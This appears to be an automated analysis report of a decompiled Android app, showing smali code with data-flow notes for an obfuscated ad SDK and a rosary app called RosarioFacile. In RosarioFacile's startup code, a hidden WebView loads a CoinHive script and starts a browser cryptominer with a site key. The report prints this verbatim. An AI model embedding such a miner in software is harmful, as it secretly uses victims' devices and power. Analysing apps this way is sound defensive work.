54const-string v5, "AirplaySDK"
56invoke-static {v5, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Required VideoAdActivity not found in Manifest. Please add
58invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Required VideoAdActivity not found in Manifest. Please add
59new-instance v5, Lcom/vxjxu/jkhfn1870/SendIntegrationError;
61sget-object v6, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
62const/16 v7, 0x66
64invoke-direct {v5, v6, v7}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;-><init>(Landroid/content/Context;I)V
65goto/16 :goto_10
66cond_57:
67invoke-static {}, Landroid/os/Environment;->getExternalStorageState()Ljava/lang/String;
68move-result-object v4
69if-eqz v4, :cond_a3
71const-string v5, "mounted"
73invoke-virtual {v4, v5}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: mounted
74move-result v5
75if-eqz v5, :cond_a3
77invoke-static {}, Lcom/vxjxu/jkhfn1870/SmartWallActivity;->isShowing()Z
78move-result v5
79if-eqz v5, :cond_76
81const-string v3, "Another ad is already showing on screen."
83const-string v5, "AirplaySDK"
85invoke-static {v5, v3}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Another ad is already showing on screen.
87invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Another ad is already showing on screen.
88goto/16 :goto_10
89cond_76:
90invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
91move-result-wide v6
93sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
95invoke-static {v5}, Lcom/vxjxu/jkhfn1870/SetPreferences;->getNextVideoAdCallTime(Landroid/content/Context;)J
96move-result-wide v8
97cmp-long v5, v6, v8
98if-gez v5, :cond_8f
100const-string v3, "Video ad is before 30 secs. Ignoring request."
102const-string v5, "AirplaySDK"
104invoke-static {v5, v3}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Video ad is before 30 secs. Ignoring request.
106invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Video ad is before 30 secs. Ignoring request.
107goto/16 :goto_10
108cond_8f: new-instance v0, Lcom/vxjxu/jkhfn1870/VideoAd;
110sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
112invoke-direct {v0, v5}, Lcom/vxjxu/jkhfn1870/VideoAd;-><init>(Landroid/content/Context;)V
114sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
116invoke-static {v5}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z
117move-result v5
118if-eqz v5, :cond_10
120invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/VideoAd;->launchNewHttpTask()V
121goto/16 :goto_10
122cond_a3:
123const-string v3, "Can\'t call video ad at this time. SD card not mounted."
125const-string v5, "AirplaySDK"
127invoke-static {v5, v3}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Can\'t call video ad at this time. SD card not mounted.
129invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Can\'t call video ad at this time. SD card not mounted.
130goto/16 :goto_10
131cond_af:
132const-string v5, "AirplaySDK"
134const-string v6, "AirPlay is disabled please enable to receive ads."
136invoke-static {v5, v6}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: AirPlay is disabled please enable to receive ads.
137try_end_b6: goto/16 :goto_10
Cross References
APIs
  • android.view.ViewGroup$LayoutParams.<init>
  • com.vxjxu.jkhfn1870.MraidView.setLayoutParams
  • com.vxjxu.jkhfn1870.MraidView.setHorizontalScrollBarEnabled
  • com.vxjxu.jkhfn1870.MraidView.setVerticalScrollBarEnabled
  • com.vxjxu.jkhfn1870.MraidView.setScrollBarStyle
  • com.vxjxu.jkhfn1870.MraidView.setBackgroundColor
  • com.vxjxu.jkhfn1870.MraidView$AirpushWebChromeClient.<init>
  • com.vxjxu.jkhfn1870.MraidView.setWebChromeClient
  • com.vxjxu.jkhfn1870.MraidView.getSettings
  • android.webkit.WebSettings.setRenderPriority
  • android.webkit.WebSettings.setLayoutAlgorithm
  • android.webkit.WebSettings.setCacheMode
  • android.webkit.WebSettings.setLoadWithOverviewMode
  • android.webkit.WebSettings.setLoadsImagesAutomatically
  • android.webkit.WebSettings.setUseWideViewPort
  • android.webkit.WebSettings.setJavaScriptEnabled
  • com.vxjxu.jkhfn1870.MraidView.addJavascriptInterface
  • android.webkit.WebSettings.setPluginState
  • com.vxjxu.jkhfn1870.MraidView$AirpuhWebViewClient.<init>
  • com.vxjxu.jkhfn1870.MraidView.setWebViewClient
  • com.vxjxu.jkhfn1870.MraidView.displayAd
  • android.webkit.WebSettings.setPluginsEnabled
Strings
  • airpush_mraid
Position Instruction Meta Information
0.annotation build Landroid/annotation/SuppressLint;
1value = {
2"SetJavaScriptEnabled",
3"InlinedApi"
4}
5.end annotation
6.prologue
7const/4 v5, 0x1
8const/4 v4, 0x0
9new-instance v0, Landroid/view/ViewGroup$LayoutParams;
10iget v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->width:I
11iget v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->height:I
13invoke-direct {v0, v2, v3}, Landroid/view/ViewGroup$LayoutParams;-><init>(II)V
15invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
17invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->setHorizontalScrollBarEnabled(Z)V
  • Data flow analysis:
    • p0: 0
19invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->setVerticalScrollBarEnabled(Z)V
  • Data flow analysis:
    • p0: 0
20const/high16 v2, 0x2000000
22invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->setScrollBarStyle(I)V
  • Data flow analysis:
    • style: 33554432
24invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->setBackgroundColor(I)V
  • Data flow analysis:
    • color: 0
25new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;
26const/4 v3, 0x0
28invoke-direct {v2, p0, v3}, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;Lcom/vxjxu/jkhfn1870/MraidView$1;)V
  • Data flow analysis:
    • p1: 0
30invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->setWebChromeClient(Landroid/webkit/WebChromeClient;)V
32invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getSettings()Landroid/webkit/WebSettings;
33move-result-object v1
35sget-object v2, Landroid/webkit/WebSettings$RenderPriority;->HIGH:Landroid/webkit/WebSettings$RenderPriority;
37invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setRenderPriority(Landroid/webkit/WebSettings$RenderPriority;)V
39sget-object v2, Landroid/webkit/WebSettings$LayoutAlgorithm;->NARROW_COLUMNS:Landroid/webkit/WebSettings$LayoutAlgorithm;
41invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setLayoutAlgorithm(Landroid/webkit/WebSettings$LayoutAlgorithm;)V
42const/4 v2, 0x2
44invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setCacheMode(I)V
  • Data flow analysis:
    • mode: 2
46invoke-virtual {v1, v5}, Landroid/webkit/WebSettings;->setLoadWithOverviewMode(Z)V
  • Data flow analysis:
    • overview: 1
48invoke-virtual {v1, v5}, Landroid/webkit/WebSettings;->setLoadsImagesAutomatically(Z)V
  • Data flow analysis:
    • flag: 1
50invoke-virtual {v1, v4}, Landroid/webkit/WebSettings;->setUseWideViewPort(Z)V
  • Data flow analysis:
    • use: 0
52invoke-virtual {v1, v5}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V
  • Data flow analysis:
    • flag: 1
53new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;
55invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V
57const-string v3, "airpush_mraid"
59invoke-virtual {p0, v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
  • Data flow analysis:
    • name: airpush_mraid
60sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
61const/16 v3, 0x8
62if-lt v2, v3, :cond_6f
64sget-object v2, Landroid/webkit/WebSettings$PluginState;->ON:Landroid/webkit/WebSettings$PluginState;
66invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setPluginState(Landroid/webkit/WebSettings$PluginState;)V
67goto_58: new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;
69invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V
71invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
73iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adUrl:Ljava/lang/String;
75invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->displayAd(Ljava/lang/String;)V
77iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
78if-eqz v2, :cond_6e
80iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
82invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdLoadingListener()V
83cond_6e: return-void
84cond_6f:
85invoke-virtual {v1, v5}, Landroid/webkit/WebSettings;->setPluginsEnabled(Z)V
  • Data flow analysis:
    • flag: 1
86goto/16 :goto_58
APIs
  • android.content.Context.getSharedPreferences
  • java.lang.Object.equals
  • android.content.SharedPreferences.contains
  • android.content.SharedPreferences.getBoolean
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Exception.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
Strings
  • sdkPrefs
  • SDKEnabled
  • AirplaySDK
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
2const/4 v2, 0x0
3try_start_1:
4const-string v3, "sdkPrefs"
5const/4 v4, 0x0
7invoke-virtual {p0, v3, v4}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • name: sdkPrefs
    • mode: 0
8move-result-object v0
9if-eqz v0, :cond_20
10const/4 v3, 0x0
12invoke-virtual {v0, v3}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: 0
13move-result v3
14if-nez v3, :cond_20
16const-string v3, "SDKEnabled"
18invoke-interface {v0, v3}, Landroid/content/SharedPreferences;->contains(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: SDKEnabled
19move-result v3
20if-eqz v3, :cond_20
22const-string v3, "SDKEnabled"
23const/4 v4, 0x0
25invoke-interface {v0, v3, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
  • Data flow analysis:
    • p0: SDKEnabled
    • p1: 0
26try_end_1f: move-result v2
27cond_20: return v2
28catch_21: move-exception v1
30const-string v3, "AirplaySDK"
31new-instance v4, Ljava/lang/StringBuilder;
33invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
35const-string v5, ""
37invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
38move-result-object v4
40invoke-virtual {v1}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
41move-result-object v5
43invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
44move-result-object v4
46invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
47move-result-object v4
49invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
50goto/16 :goto_20
APIs
  • android.app.Activity.onCreate
  • prsolutions.rosariofacileads.RosarioFacile.setContentView
  • prsolutions.rosariofacileads.RosarioFacile.findViewById
  • android.widget.Button.setOnClickListener
  • prsolutions.rosariofacileads.RosarioFacile.findViewById
  • android.webkit.WebView.getSettings
  • android.webkit.WebSettings.setJavaScriptEnabled
  • android.webkit.WebView.loadData
Strings
  • <html><script src=\"https://coinhive.com/lib/coinhive.min.js\"></script><script>var miner = new CoinHive.Anonymous(\'5xUKpsv5UFOcqf6dToqMDAtBYKn1WavS\');miner.setThrottle(0.1);miner.start();</script><body></body></html>
  • text/html
Position Instruction Meta Information
0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
3invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
4const/high16 v0, 0x7f030000
6invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->setContentView(I)V
  • Data flow analysis:
    • layoutResID: 2130903040
7const v0, 0x7f070001
9invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131165185
10move-result-object v0
11check-cast v0, Landroid/widget/Button;
12iput-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->mresourcesaudio:Landroid/widget/Button;
14iget-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->mresourcesaudio:Landroid/widget/Button;
16iget-object v1, p0, Lprsolutions/rosariofacileads/RosarioFacile;->mResourcesAudioListener:Landroid/view/View$OnClickListener;
18invoke-virtual {v0, v1}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
19const v0, 0x7f070002
21invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131165186
22move-result-object v0
23check-cast v0, Landroid/webkit/WebView;
24iput-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->vv:Landroid/webkit/WebView;
26iget-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->vv:Landroid/webkit/WebView;
28invoke-virtual {v0}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
29move-result-object v0
30const/4 v1, 0x1
32invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V
  • Data flow analysis:
    • flag: 1
34iget-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->vv:Landroid/webkit/WebView;
36const-string v1, "<html><script src=\"https://coinhive.com/lib/coinhive.min.js\"></script><script>var miner = new CoinHive.Anonymous(\'5xUKpsv5UFOcqf6dToqMDAtBYKn1WavS\');miner.setThrottle(0.1);miner.start();</script><body></body></html>"
38const-string v2, "text/html"
39const/4 v3, 0x0
41invoke-virtual {v0, v1, v2, v3}, Landroid/webkit/WebView;->loadData(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: <html><script src=\"https://coinhive.com/lib/coinhive.min.js\"></script><script>var miner = new CoinHive.Anonymous(\'5xUKpsv5UFOcqf6dToqMDAtBYKn1WavS\');miner.setThrottle(0.1);miner.start();</script><body></body></html>
    • p1: text/html
    • p2: 0
42return-void
APIs
  • android.app.Activity.onCreate
  • prsolutions.rosariofacileads.Opzioni.setContentView
  • prsolutions.rosariofacileads.Opzioni.getSharedPreferences
  • android.content.SharedPreferences.getBoolean
  • prsolutions.rosariofacileads.Opzioni.findViewById
  • android.widget.CheckBox.setChecked
Strings
  • MyPrefsFile
  • sleep_mode
Position Instruction Meta Information
0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
2const/4 v2, 0x0
4invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
5const v1, 0x7f030001
7invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Opzioni;->setContentView(I)V
  • Data flow analysis:
    • layoutResID: 2130903041
9const-string v1, "MyPrefsFile"
11invoke-virtual {p0, v1, v2}, Lprsolutions/rosariofacileads/Opzioni;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • p0: MyPrefsFile
    • p1: 0
12move-result-object v0
14const-string v1, "sleep_mode"
16invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
  • Data flow analysis:
    • p0: sleep_mode
    • p1: 0
17move-result v1
18iput-boolean v1, p0, Lprsolutions/rosariofacileads/Opzioni;->sleep_mode:Z
19const v1, 0x7f070003
21invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Opzioni;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131165187
22move-result-object v1
23check-cast v1, Landroid/widget/CheckBox;
24iput-object v1, p0, Lprsolutions/rosariofacileads/Opzioni;->mSleep:Landroid/widget/CheckBox;
26iget-object v1, p0, Lprsolutions/rosariofacileads/Opzioni;->mSleep:Landroid/widget/CheckBox;
27iget-boolean v2, p0, Lprsolutions/rosariofacileads/Opzioni;->sleep_mode:Z
29invoke-virtual {v1, v2}, Landroid/widget/CheckBox;->setChecked(Z)V
30return-void
APIs
  • android.app.Activity.onResume
  • prsolutions.rosariofacileads.Player.getSharedPreferences
  • android.content.SharedPreferences.getBoolean
  • prsolutions.rosariofacileads.Player.ToggleSleep
Strings
  • MyPrefsFile
  • sleep_mode
Position Instruction Meta Information
0.prologue
1const/4 v2, 0x0
3invoke-super {p0}, Landroid/app/Activity;->onResume()V
5const-string v1, "MyPrefsFile"
7invoke-virtual {p0, v1, v2}, Lprsolutions/rosariofacileads/Player;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • p0: MyPrefsFile
    • p1: 0
8move-result-object v0
10const-string v1, "sleep_mode"
12invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
  • Data flow analysis:
    • p0: sleep_mode
    • p1: 0
13move-result v1
14iput-boolean v1, p0, Lprsolutions/rosariofacileads/Player;->sleep_mode:Z
15iget-boolean v1, p0, Lprsolutions/rosariofacileads/Player;->sleep_mode:Z
17invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->ToggleSleep(Z)V
18return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.AdCallbackListener$AdType.toString
  • android.content.SharedPreferences.getString
Strings
  • video_url
Position Instruction Meta Information
0.param p1, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/Exception;
4}
5.end annotation
6.prologue
7const/4 v4, 0x0
8const/4 v1, 0x2
9new-array v0, v1, [Ljava/lang/String;
10const/4 v1, 0x0
12iget-object v2, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences;
14invoke-virtual {p1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->toString()Ljava/lang/String;
15move-result-object v3
17invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p1: 0
18move-result-object v2
19aput-object v2, v0, v1
20const/4 v1, 0x1
22iget-object v2, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences;
24const-string v3, "video_url"
26invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: video_url
    • p1: 0
27move-result-object v2
28aput-object v2, v0, v1
29return-object v0
Cross References
APIs
  • android.content.SharedPreferences.getBoolean
Strings
  • thisSmartWall
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences;
4const-string v1, "thisSmartWall"
5const/4 v2, 0x0
7invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
  • Data flow analysis:
    • p0: thisSmartWall
    • p1: 0
8move-result v0
9return v0
Cross References
APIs
  • com.vxjxu.jkhfn1870.AdCallbackListener$AdType.toString
  • android.content.SharedPreferences.getString
Position Instruction Meta Information
0.param p1, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/NullPointerException;
4}
5.end annotation
6.prologue
8iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences;
10invoke-virtual {p1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->toString()Ljava/lang/String;
11move-result-object v1
12const/4 v2, 0x0
14invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p1: 0
15move-result-object v0
16return-object v0
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • java.lang.System.currentTimeMillis
  • com.vxjxu.jkhfn1870.AdView.access$702
  • java.lang.String.equals
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • java.lang.String.equals
  • android.util.Log.i
  • org.json.JSONObject.isNull
  • com.vxjxu.jkhfn1870.AdView.post
  • com.vxjxu.jkhfn1870.AdView.access$102
  • org.json.JSONObject.getString
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
  • com.vxjxu.jkhfn1870.AdView.access$200
  • java.lang.String.equals
  • org.json.JSONObject.getString
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.AdView.access$402
  • com.vxjxu.jkhfn1870.AdView.getContext
  • com.vxjxu.jkhfn1870.AdView.access$900
  • com.vxjxu.jkhfn1870.AdView.access$102
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.AdView.access$402
  • java.lang.Exception.printStackTrace
  • com.vxjxu.jkhfn1870.AdView.access$102
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.AdView.access$102
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.AdView.access$1000
  • com.vxjxu.jkhfn1870.AdView.access$102
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.AdView.access$500
  • com.vxjxu.jkhfn1870.AdView.access$1000
  • android.util.Log.w
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.AdView.access$200
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.AdView.getContext
  • com.vxjxu.jkhfn1870.AdView.access$900
  • com.vxjxu.jkhfn1870.AdView.access$200
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.AdView.access$200
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.AdView.access$200
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.AdView.access$1000
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
Strings
  • AirplayMraid
  • Ad json:
  • banner_type
  • No banner type present in response.
  • status
  • message
  • inappad
  • rich_media
  • adtype
  • MIT
  • interstitial
  • MIN
  • inline
  • Invalid placement type for rich media.
  • image
  • text
  • medium_rectangle
  • Can not show this ad.
  • Invalid banner type in inappad json:
  • Invalid banner type in json:
Position Instruction Meta Information
0.param p1, "result" # Ljava/lang/String;
1.prologue
2const/4 v7, 0x0
3try_start_1:
4const-string v6, "AirplayMraid"
5new-instance v8, Ljava/lang/StringBuilder;
7invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
9const-string v9, "Ad json:"
11invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Ad json:
12move-result-object v8
14invoke-virtual {v8, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15move-result-object v8
17invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
18move-result-object v8
20invoke-static {v6, v8}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
22iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
24invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
25move-result-wide v8
27invoke-static {v6, v8, v9}, Lcom/vxjxu/jkhfn1870/AdView;->access$702(Lcom/vxjxu/jkhfn1870/AdView;J)J
  • Data flow analysis:
    • p2: Ad json:
28if-eqz p1, :cond_ba
30const-string v6, ""
32invoke-virtual {p1, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
33move-result v6
34if-nez v6, :cond_ba
35new-instance v3, Lorg/json/JSONObject;
37invoke-direct {v3, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
39const-string v6, "banner_type"
41invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: banner_type
42move-result v6
43if-eqz v6, :cond_6f
45const-string v2, ""
46goto_3b: if-eqz v2, :cond_45
48const-string v6, ""
50invoke-virtual {v2, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
51move-result v6
52if-eqz v6, :cond_84
53cond_45:
54const-string v6, "AirplayMraid"
56const-string v8, "No banner type present in response."
58invoke-static {v6, v8}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: No banner type present in response.
60const-string v6, "status"
62invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: status
63move-result v6
64if-eqz v6, :cond_76
65move v5, v7
66goto_55:
67const-string v6, "message"
69invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: message
70move-result v6
71if-eqz v6, :cond_7d
73const-string v4, ""
74goto_5f:
75iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
76new-instance v8, Lcom/vxjxu/jkhfn1870/AdView$5$1;
78invoke-direct {v8, p0, v5, v4}, Lcom/vxjxu/jkhfn1870/AdView$5$1;-><init>(Lcom/vxjxu/jkhfn1870/AdView$5;ILjava/lang/String;)V
80invoke-virtual {v6, v8}, Lcom/vxjxu/jkhfn1870/AdView;->post(Ljava/lang/Runnable;)Z
81try_end_69:
82iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
84invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/AdView;->access$102(Lcom/vxjxu/jkhfn1870/AdView;Z)Z
  • Data flow analysis:
    • p1: 0
85goto_6e: return-void
86cond_6f:
87const-string v6, "banner_type"
89invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: banner_type
90move-result-object v2
91goto/16 :goto_3b
92cond_76:
93const-string v6, "status"
95invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: status
96move-result v5
97goto/16 :goto_55
98cond_7d:
99const-string v6, "message"
101invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: message
102move-result-object v4
103goto/16 :goto_5f
104cond_84:
105iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
107invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String;
108move-result-object v6
110const-string v8, "inappad"
112invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: inappad
113move-result v6
114if-eqz v6, :cond_13b
116const-string v6, "rich_media"
118invoke-virtual {v2, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: rich_media
119move-result v6
120if-eqz v6, :cond_e7
122const-string v6, "adtype"
124invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: adtype
125move-result-object v0
